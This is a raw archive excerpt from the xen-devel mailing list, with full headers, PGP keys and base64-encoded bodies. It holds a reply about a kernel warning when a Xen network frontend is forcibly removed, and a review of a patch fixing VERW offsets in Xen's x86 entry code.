         :cc:to:subject:user-agent:mime-version:date:message-id:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=wE4oaZ2FZnhnXtcUIMMYG3E08s6pqg5r9FH8iZCG6c4=;
        b=AzigpHCJm2czQWiKMnPq9Sn+CO/TJUNnBxIc3MpuDxT3zSqq05WbHLlBsDiJS1kd8C
         MfRM4KAknD8P9lM4ebof32vcHd2FB1nBAZ7McKPgu8LU3xPX7bLyZftNHgs0xvF/TquP
         XFLrLUp+SEVUl6TjGqFvBVNxOYaj2BRFT08WnZ4kGmmQMyQbU5Aozd30h5zSeXY/MQEA
         vaAdQOydaaoOVtJpitlOlFWEp0Y7SXb9+8zlDncnsBN16LzAnd+75/C23Lwb/HBKRdlh
         KbuAXY6ZOAvGMnPVhWO22sRe53z4wk0poy9pNe8073x++yD0/JHW1sfZ1q6KesQEY3rw
         lMdw==
X-Gm-Message-State: AOJu0YwxWFOSgYC0EV4F1ga0en2uWQ053C8N/4N1YYftYtZJvHhcoufA
	yQAJvCfPmAaGf1sKPvLqfB/+G1Q5BrNpyWSDdbe48km//am4/VvQNAZ0CJ4XO6KKABk=
X-Gm-Gg: AfdE7cmR68QKpBHCvNjjBSzEqJyUcYCv6da5z2UfBcFEkrmmeiiu1i0t2cdRUSKZ52r
	m99MdYbDY3XngqyjjV1KkDxyjiit4sQ1d5vHEgjonGBQ4MA+OTIqX4Wb4dPXz447svfNLP94RLj
	jSfqdSg60LhqmkCO18Lh97kpaG2+IyWsT4JOsdfL7qzFFVc00OdjfZnAW1apaJ6o2UDE8B3pPp6
	o0SHTjEC4e/dvO4rqgBLiq7VXyQeBjf5nY+tlfj6EPa4Lg1fLxEl+tdSyu3c8aX/T0Uw3S8rAfj
	8nfT8f8at6SYg0rO58a8cPdmLMQKXA5q9oymOWaid0chGwa5URRQ56X79rawSE18EfMW64DwhqB
	q2iQVO6zi69rMe9Q8EuwwqskgzXARlWQtbnXOnUmhKoEQJUqnutlZI4pwODEEGrevWtgETDsTPw
	BQBM/Dx71seAC/HgUBlobdfpy2gRQxbNNa0lX1GUfqqFP9QiMKTG+VN82bNZe7v2eORWIcRoQgm
	JWA7s1O71gYYARrXnWgTzgFz8y2hs/6IIBVzG80JR/0BIpBRWWiLA==
X-Received: by 2002:a17:907:7292:b0:c16:29eb:e84a with SMTP id a640c23a62f3a-c1667b8bfdemr394641766b.53.1784114197464;
        Wed, 15 Jul 2026 04:16:37 -0700 (PDT)
Message-ID: <4921562b-7499-48ea-b156-8b698696096e@suse.com>
Date: Wed, 15 Jul 2026 13:16:36 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: Intermittent kernel WARN in mm.h get_page() when forcefully
 removing a xen_netfront interface from xenstore
To: Pedro Falcato <pfalcato@suse.de>, Aaron Rainbolt <arraybolt3@gmail.com>
Cc: xen-devel@lists.xenproject.org, linux-kernel@vger.kernel.org,
 linux-mm@kvack.org, marmarek@invisiblethingslab.com, adrelanos@whonix.org,
 Matthew Wilcox <willy@infradead.org>, Vlastimil Babka <vbabka@kernel.org>
References: <20260714234912.7a75536b@gmail.com>
 <aldj4Jwd5T9q1-sK@pedro-suse.lan>
Content-Language: en-US
From: =?UTF-8?B?SsO8cmdlbiBHcm/Dnw==?= <jgross@suse.com>
Autocrypt: addr=jgross@suse.com; keydata=
 xsBNBFOMcBYBCACgGjqjoGvbEouQZw/ToiBg9W98AlM2QHV+iNHsEs7kxWhKMjrioyspZKOB
 ycWxw3ie3j9uvg9EOB3aN4xiTv4qbnGiTr3oJhkB1gsb6ToJQZ8uxGq2kaV2KL9650I1SJve
 dYm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kFAlOMcBYCGwwACgkQsN6d
 1ii/Ey9D+Af/WFr3q+bg/8v5tCknCtn92d5lyYTBNt7xgWzDZX8G6/pngzKyWfedArllp0Pn
 fgIXtMNV+3t8Li1Tg843EXkP7+2+CQ98MB8XvvPLYAfW8nNDV85TyVgWlldNcgdv7nn1Sq8g
 HwB2BHdIAkYce3hEoDQXt/mKlgEGsLpzJcnLKimtPXQQy9TxUaLBe9PInPd+Ohix0XOlY+Uk
 QFEx50Ki3rSDl2Zt2tnkNYKUCvTJq7jvOlaPd6d/W0tZqpyy7KVay+K4aMobDsodB3dvEAs6
 ScCnh03dDAFgIq5nsB11j3KPKdVoPlfucX2c7kGNH+LUMbzqV6beIENfNexkOfxHfw==
In-Reply-To: <aldj4Jwd5T9q1-sK@pedro-suse.lan>
Content-Type: multipart/signed; micalg=pgp-sha256;
 protocol="application/pgp-signature";
 boundary="------------9PzraffvGSbQX5hcKKOy1gCj"
X-purgate-ID: tlsNG-ebf023/1784114198-512DCB50-F71E97F4/0/0
X-purgate-type: clean
X-purgate-size: 15761

This is an OpenPGP/MIME signed message (RFC 4880 and 3156)
--------------9PzraffvGSbQX5hcKKOy1gCj
Content-Type: multipart/mixed; boundary="------------5A5IDla0CQpeQJxHowbs9P6T";
 protected-headers="v1"
From: =?UTF-8?B?SsO8cmdlbiBHcm/Dnw==?= <jgross@suse.com>
To: Pedro Falcato <pfalcato@suse.de>, Aaron Rainbolt <arraybolt3@gmail.com>
Cc: xen-devel@lists.xenproject.org, linux-kernel@vger.kernel.org,
 linux-mm@kvack.org, marmarek@invisiblethingslab.com, adrelanos@whonix.org,
 Matthew Wilcox <willy@infradead.org>, Vlastimil Babka <vbabka@kernel.org>
Message-ID: <4921562b-7499-48ea-b156-8b698696096e@suse.com>
Subject: Re: Intermittent kernel WARN in mm.h get_page() when forcefully
 removing a xen_netfront interface from xenstore
References: <20260714234912.7a75536b@gmail.com>
 <aldj4Jwd5T9q1-sK@pedro-suse.lan>
In-Reply-To: <aldj4Jwd5T9q1-sK@pedro-suse.lan>

--------------5A5IDla0CQpeQJxHowbs9P6T
Content-Type: multipart/mixed; boundary="------------xqU75XnK0jVGADtSi0vvwhbS"

--------------xqU75XnK0jVGADtSi0vvwhbS
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: base64

T24gMTUuMDcuMjYgMTM6MDIsIFBlZHJvIEZhbGNhdG8gd3JvdGU6DQo+ICtDYyBXaWxseSwg
Vmxhc3RpbWlsDQo+IA0KPiBPbiBUdWUsIEp1bCAxNCwgMjAyNiBhdCAxMTo0OToxMlBNIC0w
NDAwLCBBYXJvbiBSYWluYm9sdCB3cm90ZToNCj4+IEEgdXNlciBpbiB0aGUgUXViZXMgT1Mg
aXNzdWUgdHJhY2tlciByZXBvcnRlZCB0aGF0IHRoZXkgY291bGQgY2F1c2UNCj4+IGtlcm5l
bCBXQVJOcyBpbiBzb21lIG9mIHRoZWlyIEFwcFZNcyB3aGVuIGZvcmNpYmx5IHRlcm1pbmF0
aW5nIGEgTmV0Vk0NCj4+IHRoYXQgdGhvc2UgQXBwVk1zIHdlcmUgY29ubmVjdGVkIHRvLiBb
MV0gVHlwaWNhbGx5LCBhIG1lc3NhZ2Ugc3VjaCBhcw0KPj4gYHZpZiB2aWYtMDogeGVuYnVz
OiBkZXZpY2UgZm9yY2VmdWxseSByZW1vdmVkIGZyb20geGVuc3RvcmVgIGFwcGVhcnMsDQo+
PiB0aGVuIGEgIldBUk5JTkciIGFwcGVhcnMgaW1tZWRpYXRlbHkgdGhlcmVhZnRlciBpbmRp
Y2F0aW5nIGFuIGlzc3VlIGluDQo+PiBgeGVubmV0X2Rpc2Nvbm5lY3RfYmFja2VuZGAsIHdp
dGggdGhlIGxpbmUgb2YgY29kZSB0aHJvd2luZyB0aGUgd2FybmluZw0KPj4gYmVpbmcgc29t
ZXdoZXJlIGluIGBpbmNsdWRlL2xpbnV4L21tLmhgLiBPcmlnaW5hbGx5IGl0IHdhcyB0aG91
Z2h0IHRoYXQ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o+IGNvZGUpLiBU
aGUgc2tiIGl0c2VsZiBzaG91bGQgcGluIHRoZSBwYWdlcy4NCj4gDQoNClRoYW5rcyBmb3Ig
dGhlIGFuYWx5c2lzIGFuZCBoaW50IGhvdyB0byByZXNvbHZlIHRoaXMuDQoNClRoaXMgd2ls
bCByZXF1aXJlIHF1aXRlIHNvbWUgcmV3b3JrcywgYnV0IHNob3VsZCBiZSBwb3NzaWJsZS4N
Cg0KVGhhbmtzLA0KDQoNCkp1ZXJnZW4NCg==
--------------xqU75XnK0jVGADtSi0vvwhbS
Content-Type: application/pgp-keys; name="OpenPGP_0xB0DE9DD628BF132F.asc"
Content-Disposition: attachment; filename="OpenPGP_0xB0DE9DD628BF132F.asc"
Content-Description: OpenPGP public key
Content-Transfer-Encoding: quoted-printable

-----BEGIN PGP PUBLIC KEY BLOCK-----

xsBNBFOMcBYBCACgGjqjoGvbEouQZw/ToiBg9W98AlM2QHV+iNHsEs7kxWhKMjri
oyspZKOBycWxw3ie3j9uvg9EOB3aN4xiTv4qbnGiTr3oJhkB1gsb6ToJQZ8uxGq2
kaV2KL9650I1SJvedYm8Of8Zd621lSmoKOwlNClALZNew72NjJLEzTalU1OdT7/i
1TXkH09XSSI8mEQ/ouNcMvIJNwQpd369y9bfIhWUiVXEK7MlRgUG6MvIj6Y3Am/B
BLUVbDa4+gmzDC9ezlZkTZG2t14zWPvxXP3FAp2pkW0xqG7/377qptDmrk42GlSK
N4z76ELnLxussxc7I2hx18NUcbP8+uty4bMxABEBAAHNHEp1ZXJnZW4gR3Jvc3Mg
PGpnQHBmdXBmLm5ldD7CwHkEEwECACMFAlOMcBYCGwMHCwkIBwMCAQYVCAIJCgsE
FgIDAQIeAQIXgAAKCRCw3p3WKL8TL0KdB/93FcIZ3GCNwFU0u3EjNbNjmXBKDY4F
UGNQH2lvWAUy+dnyThpwdtF/jQ6j9RwE8VP0+NXcYpGJDWlNb9/JmYqLiX2Q3Tye
vpB0CA3dbBQp0OW0fgCetToGIQrg0M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4tU4PONxF5D+/tvgkPfDAfF77zy2AH1vJzQ1fOU8lYFpZXTXIH
b+559UqvIB8AdgR3SAJGHHt4RKA0F7f5ipYBBrC6cyXJyyoprT10EMvU8VGiwXvT
yJz3fjoYsdFzpWPlJEBRMedCot60g5dmbdrZ5DWClAr0yau47zpWj3enf1tLWaqc
suylWsviuGjKGw7KHQd3bxALOknAp4dN3QwBYCKuZ7AddY9yjynVaD5X7nF9nO5B
jR/i1DG86lem3iBDXzXsZDn8R3/CwO0EGAEIACAWIQSFEmdy6PYElKXQl/ew3p3W
KL8TLwUCWt3w0AIbAgCBCRCw3p3WKL8TL3YgBBkWCAAdFiEEUy2wekH2OPMeOLge
gFxhu0/YY74FAlrd8NAACgkQgFxhu0/YY75NiwD/fQf/RXpyv9ZX4n8UJrKDq422
bcwkujisT6jix2mOOwYBAKiip9+mAD6W5NPXdhk1XraECcIspcf2ff5kCAlG0DIN
aTUH/RIwNWzXDG58yQoLdD/UPcFgi8GWtNUp0Fhc/GeBxGipXYnvuWxwS+Qs1Qay
7/Nbal/v4/eZZaWs8wl2VtrHTS96/IF6q2o0qMey0dq2AxnZbQIULiEndgR625EF
RFg+IbO4ldSkB3trsF2ypYLij4ZObm2casLIP7iB8NKmQ5PndL8Y07TtiQ+Sb/wn
g4GgV+BJoKdDWLPCAlCMilwbZ88Ijb+HF/aipc9hsqvW/hnXC2GajJSAY3Qs9Mib
4Hm91jzbAjmp7243pQ4bJMfYHemFFBRaoLC7ayqQjcsttN2ufINlqLFPZPR/i3IX
kt+z4drzFUyEjLM1vVvIMjkUoJs=3D
=3DeeAB
-----END PGP PUBLIC KEY BLOCK-----

--------------xqU75XnK0jVGADtSi0vvwhbS--

--------------5A5IDla0CQpeQJxHowbs9P6T--

--------------9PzraffvGSbQX5hcKKOy1gCj
Content-Type: application/pgp-signature; name="OpenPGP_signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="OpenPGP_signature.asc"

-----BEGIN PGP SIGNATURE-----

wsB5BAABCAAjFiEEhRJncuj2BJSl0Jf3sN6d1ii/Ey8FAmpXbBQFAwAAAAAACgkQsN6d1ii/Ey/W
Lwf+NlnfD+8EOm9AMcXy/8gpBnz3UAqyRT1EzJd+sn8Gq9dFoAnYVM4zpvGtsbkwfE7x4dBdysVD
TqZzud85+2LC7IaLAPp+ahCsIkyGGL0MsJ77blCrJgeuaDpEp+nyQ2jL82jxY7n+Sy7vsEQhsu/k
vhxoX3nreL/+GixLZ+xgtgo+Ky8iDQwOGNoq3eovZXgXBbO06OK2YwN8RSmS21U1qB1IF8NVzfu/
EYS/tir8XOhPfsbqSoM52S+GOpMEI1fe4UKkPMQSjNtZlG3DRkcJXmka2ApZJCzU498ri5hAzn0/
PPfXcFidLcxWMuxlWFC6+3sesmeo+dd0yYqpV4MRRg==
=86uj
-----END PGP SIGNATURE-----

--------------9PzraffvGSbQX5hcKKOy1gCj--


From xen-devel-bounces@lists.xenproject.org Wed Jul 15 12:27:03 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 15 Jul 2026 12:27:03 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1363025.1614870 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjyhO-0003SE-3X; Wed, 15 Jul 2026 12:26:50 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1363025.1614870; Wed, 15 Jul 2026 12:26:50 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjyhO-0003S7-0k; Wed, 15 Jul 2026 12:26:50 +0000
Received: by outflank-mailman (input) for mailman id 1363025;
 Wed, 15 Jul 2026 12:26:49 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f65be6d46000edb5@swg.vates.tech>)
 id 1wjyhN-0003S0-8R
 for xen-devel@lists.xenproject.org; Wed, 15 Jul 2026 12:26:49 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjyhL-003AuI-QM
 for xen-devel@lists.xenproject.org; Wed, 15 Jul 2026 14:26:47 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f65be6d46000edb5@swg.vates.tech>)
 id 6a577c81-2eae-0a2a0a5409dd-0a2a4504aa9e-16
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 14:26:47 +0200
Received: from [185.255.28.35] (helo=prod-mta-13-02.swg-srv.net)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f65be6d46000edb5@swg.vates.tech>)
 id 6a577c87-b57f-0a2a45040019-b9ff1c238b1d-3
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 14:26:47 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13-02.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19f65be6d46000edb5.004 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Wed, 15 Jul 2026 12:26:46 +0000
Received: from [192.168.1.18] (88-188-240-210.subs.proxad.net [88.188.240.210])
 (Authenticated sender: teddy.astie)
 by mail2.vates.fr (Postfix) with ESMTPSA id 92A2F8118B;
 Wed, 15 Jul 2026 14:26:45 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=IxCQFWyg3rGCS9osgVtlVhA13YDAVlc0maVHZYpJoZM=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=RQ+Bt8LAUrtpLnOv6Wq1pSd89IYeRhz45ARtv3RszgN0b7JPxYm1vVOIzf+8dVcpfYiTX8s7N
 nnKrTnt4bPrqZPLPVsG4SXUOVoc4OhRIsLAYM/WC1RGAXbxDShJPz9rRS692dXqCx/iOB14Qypk
 XYsFvkLkUlSoHmG+Z+VX8yOCLnGJKJhhYkd1/VdLKvTKCsffIfkHYhwrQ4Jmi2evkI+bBv5mV7v
 BwnKajjNxajG7cnqmVkeICRyYjgBy9AueZPv6AyQq2e7079+FjhiW+mD+F/gVN9rkl9SZveQ78o
 RZVnKHeCn7hn4zitjUAdKZD4pWH3QRPNRd1GKKTMEP+g==
X-Zone-Loop: e084db8892aa23256a8e1d2fa2785424effd824ddad6
x-campaign-type: default
x-transaction-id: 06fb8f2d-c315-4aa1-86cd-bd14859286c1
x-swg-uid: 01-d02d7e61-e218-44a2-b722-c42c1b6f7e43
X-Mailer: Sweego
Message-ID:
 <1784118406.8631fc262581453bbf619ec5b2062170.19f65be6d46000edb5@vates.tech>
x-swg-bid: 1784118406.8631fc262581453bbf619ec5b2062170.19f65be6d46000edb5
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
Date: Wed, 15 Jul 2026 14:26:44 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH] x86/entry: Fix VERW offsets in restore_all_xen()
To: Andrew Cooper <andrew.cooper3@citrix.com>,
 Xen-devel <xen-devel@lists.xenproject.org>
Cc: Ross Lagerwall <ross.lagerwall@citrix.com>,
 Jan Beulich <jbeulich@suse.com>, =?UTF-8?Q?Roger_Pau_Monn=C3=A9?=
 <roger.pau@citrix.com>
References: <20260715104854.1813130-1-andrew.cooper3@citrix.com>
Content-Language: en-US
From: Teddy Astie <teddy.astie@vates.tech>
Autocrypt: addr=teddy.astie@vates.tech; keydata=
 xsDNBGn5sK8BDACuzSrrTjpVf4ay06OYB6yY0J1PqKffihoNMtrQRZjAHxoAPC7LTBVHV/XO
 Zw5HJc+9R71z1JV+iYg6z3jPziGKzX8Fj3ZXlzJPmpf1PuETH3KdbvtJT4ny+OGntnJntUoR
 KRPhTirr6yNeBk/637O3CQXjtqFUPZnko8OI/o1yawIBhJJAWicutjkkUgd28Bh6HV9EIumH
 tCBgn5/1A/fpm9624MMgYLsA8qjC4XsoovQvFCaO8HEhvfzrrTZHjn/nPeB9SigxIxXW8YaT
 VqMdqul07o72m3eA2mf+LMu9a04FX/d4wbxBLtELm+1jIrbtyaFZEMOLv/haSiS/Lj3btJH/
 EoucejoZ5SH49ksmVAmKOLktOaTQ8b2gEvP7iaKiIiszCCtOSRohr+2GvDsDeLvVZnlR3I+S
 PhHar7TPKjFz0G3DPNolyjXywNqOAMpomSPi8lSwjAFsxOtQbcck/qRGRSNk4DAmH70pA+89
 MXfQXZ3qt1Q01B1+sU0I8xsAEQEAAc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4jm+Py0FiUGUaA6yhexficjH+kCR/xDbVnWrMhSLB4AuTBT9HjfZI6gk3uYLhoT8Pig4/
 eVtR2Q1wZIJsFToR6ofGuyECwFcs+PUXN7fmGRSiPXgjAr/zIUBdW0VWCE3OGPNqtRk2E5s6
 IQARAQABwsD8BBgBCAAmFiEEGAIew9LzHY3pdrqtZg+p0QLLz9AFAmn5sLAFCQWjmoACGwwA
 CgkQZg+p0QLLz9DncQwAg76IehTemLIfrB8T9WIBZrI4kUV7G7a4rjiVoUiHYN5QwhnbZnsa
 JDlt+Ezoqy/510eo2bCSzvW5xXYPgyjcuOPwgQo1Qp764QxyX6rld2f2RcWkDuBHun55ZWXj
 by8o21ginPRwruBVYY5rVf3DV1iBu4NurUeHtyFk/dS0XTOQi2wVUb17sW/+ybCEokdVacZG
 zOqP/OmwHrF8ylXlXnhQq6e3r+J+T8fuoGJelm/CJiMwyP6cEWE8sxVqX/iqwjwUYkuOCpE+
 lOWSvdNHgoEkWR0RXBPQjnGmLKbfTl/QDXLk6NP2/r9uxm2HL6Ei3QJKSEdrp+XZaVnk/Off
 O485NOTKwGOxyWb006cTMh53xPkAJFQu4Tvdj+odsHz88jqw5wfPG0BYWx0I/FspYj7N9kZR
 8ULR9nX0LvpzJ/kB4NgHIUt8YtIL6ZSfM2dbF7fKzvx1UqFfvozJZwFzfEieJLXa4nlGgR6D
 x9fhaZEsniw8/bYgC3igkk5YJiOa
In-Reply-To: <20260715104854.1813130-1-andrew.cooper3@citrix.com>
Content-Type: multipart/signed; micalg=pgp-sha256;
 protocol="application/pgp-signature";
 boundary="------------CryNDviOdkiduGpeiMZ9lE6t"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1784118405727
X-purgate-ID: tlsNG-ebf023/1784118407-C3EC6B50-1D8D61E5/0/0
X-purgate-type: clean
X-purgate-size: 10530

This is an OpenPGP/MIME signed message (RFC 4880 and 3156)
--------------CryNDviOdkiduGpeiMZ9lE6t
Content-Type: multipart/mixed; boundary="------------EdL7XQXH4XkTL4yBMORhRcjO";
 protected-headers="v1"
From: Teddy Astie <teddy.astie@vates.tech>
To: Andrew Cooper <andrew.cooper3@citrix.com>,
 Xen-devel <xen-devel@lists.xenproject.org>
Cc: Ross Lagerwall <ross.lagerwall@citrix.com>,
 Jan Beulich <jbeulich@suse.com>, =?UTF-8?Q?Roger_Pau_Monn=C3=A9?=
 <roger.pau@citrix.com>
Message-ID: <19243d36-59d5-4992-8325-9139c840232c@vates.tech>
Subject: Re: [PATCH] x86/entry: Fix VERW offsets in restore_all_xen()
References: <20260715104854.1813130-1-andrew.cooper3@citrix.com>
In-Reply-To: <20260715104854.1813130-1-andrew.cooper3@citrix.com>

--------------EdL7XQXH4XkTL4yBMORhRcjO
Content-Type: multipart/mixed; boundary="------------TjCkp8CbvHitWWxxa03dJtgI"

--------------TjCkp8CbvHitWWxxa03dJtgI
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: base64

TGUgMTUvMDcvMjAyNiDDoCAxMjo1MywgQW5kcmV3IENvb3BlciBhIMOpY3JpdMKgOg0KPiBB
cyBleHBsYWluZWQgaW4gdGhlIGNvbW1lbnQgcGFydGlhbGx5IGluIGNvbnRleHQsIGFuZCBj
b250cmFyeSB0byB3aGF0IHdhcw0KPiBzYWlkIGluIGNvbW1pdCA4YWYzMzdkZmI4ZTIgKCJ4
ODYvZW50cnk6IFVzZSBQT1BfR1BSUyBhbmQgcmVtb3ZlDQo+IFJFU1RPUkVfQUxMIiksIHRo
ZSByZXN0b3JlX2FsbF94ZW4oKSBwYXRoIGNhbm5vdCB1c2UgZGVmYXVsdCBvZmZzZXRzIGZv
cg0KPiBTUEVDX0NUUkxfQ09ORF9WRVJXLg0KPiANCj4gR2V0dGluZyB0aGlzIHdyb25nIGlz
IHN1cnByaXNpbmdseSBiZW5pZ24uICBWRVJXIGRvZXNuJ3QgZmF1bHQgZm9yIGFueSBsaW1p
dA0KPiBv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ICAgICAgICAgKiBhbmQgd2UncmUgYXQgYSByYW5kb20g
cGxhY2Ugb24gdGhlIHN0YWNrLCBub3QgaW4gYSBDUFVGSU5GTyBibG9jay4NCj4gICAgICAg
ICAgICAqLw0KPiAtICAgICAgICBTUEVDX0NUUkxfQ09ORF9WRVJXICAgICAvKiBSZXE6ICVy
c3A9ZWZyYW1lICAgICAgICAgICAgICAgICAgICBDbG9iOiBlZmwgKi8NCj4gKyAgICAgICAg
U1BFQ19DVFJMX0NPTkRfVkVSVyAgICAgLyogUmVxOiAlcnNwPWVmcmFtZSAgICAgICAgICAg
ICAgICAgICAgQ2xvYjogZWZsICovIFwNCj4gKyAgICAgICAgICAgIHNjZj1TVEtfUkVMKEVG
UkFNRV9zaGFkb3dfc2NmLCBFRlJBTUVfZXJyb3JfY29kZSksICAgICAgICAgICAgICAgICAg
ICAgIFwNCj4gKyAgICAgICAgICAgIHNlbD1TVEtfUkVMKEVGUkFNRV9zaGFkb3dfc2VsLCBF
RlJBTUVfZXJyb3JfY29kZSkNCj4gICA+ICAgICAgICAgICBhZGQgICAgICQ4LCAlcnNwICAg
ICAgICAvKiBQb3AgZXYvZWMgb2ZmIHRoZSBzdGFjayAqLw0KPiAgICAgICAgICAgaXJldHEN
Cj4gDQo+IGJhc2UtY29tbWl0OiAxY2MxZjRkN2EwNDcxZjNiZjkxMjZlZTdiMTk1NmRiNjZl
ZTI4YjU4DQoNClJldmlld2VkLWJ5OiBUZWRkeSBBc3RpZSA8dGVkZHkuYXN0aWVAdmF0ZXMu
dGVjaD4NCg==
--------------TjCkp8CbvHitWWxxa03dJtgI
Content-Type: application/pgp-keys; name="OpenPGP_0x660FA9D102CBCFD0.asc"
Content-Disposition: attachment; filename="OpenPGP_0x660FA9D102CBCFD0.asc"
Content-Description: OpenPGP public key
Content-Transfer-Encoding: quoted-printable

-----BEGIN PGP PUBLIC KEY BLOCK-----

xsDNBGn5sK8BDACuzSrrTjpVf4ay06OYB6yY0J1PqKffihoNMtrQRZjA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FQu4Tvdj+odsHz88jqw5wfPG0BYWx0I/FspYj7N9kZR8ULR9nX0
LvpzJ/kB4NgHIUt8YtIL6ZSfM2dbF7fKzvx1UqFfvozJZwFzfEieJLXa4nlGgR6D
x9fhaZEsniw8/bYgC3igkk5YJiOa
=3DlUIA
-----END PGP PUBLIC KEY BLOCK-----

--------------TjCkp8CbvHitWWxxa03dJtgI--

--------------EdL7XQXH4XkTL4yBMORhRcjO--

--------------CryNDviOdkiduGpeiMZ9lE6t
Content-Type: application/pgp-signature; name="OpenPGP_signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="OpenPGP_signature.asc"

-----BEGIN PGP SIGNATURE-----

wsD5BAABCAAjFiEEGAIew9LzHY3pdrqtZg+p0QLLz9AFAmpXfIUFAwAAAAAACgkQZg+p0QLLz9AS
Nwv/UbIYAb9WQc/V7TyXUHsGr9UtTUreeJy9ZCdVaSFrEOg0fhCokeReuO2Tcw4YoK3Qa8CLCh3W
8pT/DTT//Lrjuphnje7zlkeVSbxlmssqrw87RkIitBGz9Z5lDiISkOmch6JN9etCHHYL54DLqKsI
dEKMey65ShnVefh+7loGXe9MUqX2p3VFt56MdxrGQOkKXP1hJg3PRZcr+3FIuxHbROopM73EEwIi
p8i0iZ212j1EQGK/AQW7uyQDv6ekUtgUR1rHXxY2kJrWiJd0LjKOyRtL+4UUBvsNQjxzO86kxh3w
Ha6pm2hf8eivO69BKF7RwSTrsu+ckDNN5ESJVO/Zrq+iwTdueDMqb4NWkz6/h/ObH6SewqtN2m36
O/HZM5mS2L5SRbXfMEmzwwCNfoZaskVHNNzoMZ4uQ7V8lJdOQFqEIvd2atrGG3b2aSWKmxXwDPuN
o1Gcu3ZMflHW61P6/4NvkNupmV8IreTKUwu3TixZycEYKSIXNUMH1ge5ZgE9
=7CQ7
-----END PGP SIGNATURE-----

--------------CryNDviOdkiduGpeiMZ9lE6t--


From xen-devel-bounces@lists.xenproject.org Wed Jul 15 12:34:26 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 15 Jul 2026 12:34:26 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1363037.1614880 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjyoZ-00051i-RF; Wed, 15 Jul 2026 12:34:15 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1363037.1614880; Wed, 15 Jul 2026 12:34:15 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjyoZ-00051b-OS; Wed, 15 Jul 2026 12:34:15 +0000
Received: by outflank-mailman (input) for mailman id 1363037;
 Wed, 15 Jul 2026 12:34:14 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wjyoY-00051V-JQ
 for xen-devel@lists.xenproject.org; Wed, 15 Jul 2026 12:34:14 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjyoX-00DQfi-Pw
 for xen-devel@lists.xenproject.org; Wed, 15 Jul 2026 14:34:13 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a577e40-5cb7-0a2a0a5109dd-0a2a4506ac58-18
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 14:34:13 +0200
Received: from [209.85.221.41] (helo=mail-wr1-f41.google.com)
